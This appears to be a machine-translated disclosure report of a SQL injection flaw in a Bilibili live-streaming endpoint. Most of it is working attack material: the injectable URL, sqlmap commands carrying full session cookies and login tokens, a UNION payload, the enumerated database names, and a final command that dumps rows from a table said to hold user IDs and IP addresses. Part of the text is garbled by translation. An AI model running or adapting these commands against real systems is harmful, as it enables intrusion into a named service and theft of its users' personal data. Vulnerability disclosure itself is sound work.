Bilibili SQL Injection Vulnerability

Bilibili SQL Injection Vulnerability

The last csrf was ignored and unhappy: (so I found an injection.
PS: for a large review, give a front-end. So long, no front-end ever :(

Injection point: http://live.bilibili.com/ I /operation? Month = 2016-01-01% 2000:00:00

 

 

Sqlmap. py-u "http://live.bilibili.com/ I /operation? Month = 2016-01-01% 2000:00:00 * "-- cookie =" fts = 1451713714; uTZ =-480; pgv_pvi = 2566455296; tma = large; tmd = 53.136533283.45964959.1451729767610 .; _ cnt_dyn = null; _ cnt_pm = 0; _ cnt_1_y = 0; _ utma = bytes; _ utmz = 148949161.1453816022.1.1.utmcsr = (direct) | utmccn = (direct) | utmcmd = (none); DedeID = 153703; DedeUserID = 20747478; DedeUserID _ ckMd5 = login; SESSDATA = 64c73f99% 2C1454421944% 2C90ff3b12; LIVE_LOGIN_DATA = login; LIVE_LOGIN_DATA _ ckMd5 = response; response = cnzz_eid % response-% 26 ntime % 3D1453865260; response; sid = response; pgv_si = s1241440256; _ dfcaptcha = response; NotFirst = 1 "-- dbs

Sqlmap resumed the following injection point (s) from stored session:

---

Parameter: #1 * (URI)

Type: UNION query

Title: MySQL UNION query (83)-8 columns

Payload: http://live.bilibili.com: 80/I/operation? Month = 00:00:00 'union all select 7176717671, 83, CONCAT (0x716a627171, California, 0 x #

---

Back-end DBMS: MySQL 5

Available databases [11]:

[*] Information_schema

[*] Live-app

[*] Live-coin

[*] Live-cost

[*] Live-damaku

[*] Live-giftlog

[*] Live-hamster

[*] Live-platform-user

[*] Live-sign

[*] Live-ugift

[*] Live-user



========================================================== ========================

Leaked uid, IP address, content, and other information of tens of millions of livestream bullet screens (other information not excluded)

The following are only 10 tests,
 

qlmap.py -u "http://live.bilibili.com/i/operation?month=2016-01-01%2000:00:00*" --cookie="fts=1451713714; uTZ=-480; pgv_pvi=2566455296; tma=136533283.45964959.1451729767610.1451729767610.1451729767610.1; tmd=53.136533283.45964959.1451729767610.; _cnt_dyn=null; _cnt_pm=0; _cnt_notify=0; __utma=148949161.1557161098.1453816022.1453816022.1453816022.1; __utmz=148949161.1453816022.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); DedeID=153703; DedeUserID=20747478; DedeUserID__ckMd5=e1df39fd7037a65b; SESSDATA=64c73f99%2C1454421944%2C90ff3b12; LIVE_LOGIN_DATA=2ed7ee57c6067048b045bb6eb9b29ee72fbb108e; LIVE_LOGIN_DATA__ckMd5=913dd3abec658677; CNZZDATA2724999=cnzz_eid%3D903797384-1453819753-%26ntime%3D1453865260; user_face=http%3A%2F%2Fstatic.hdslb.com%2Fimages%2Fmember%2Fnoface.gif; sid=khvqxkr5; pgv_si=s1241440256; _dfcaptcha=06b808246b571c1e1c89368fc712b953; NotFirst=1" -D live-damaku -T dm_dmtable --dump --start 1 --stop 10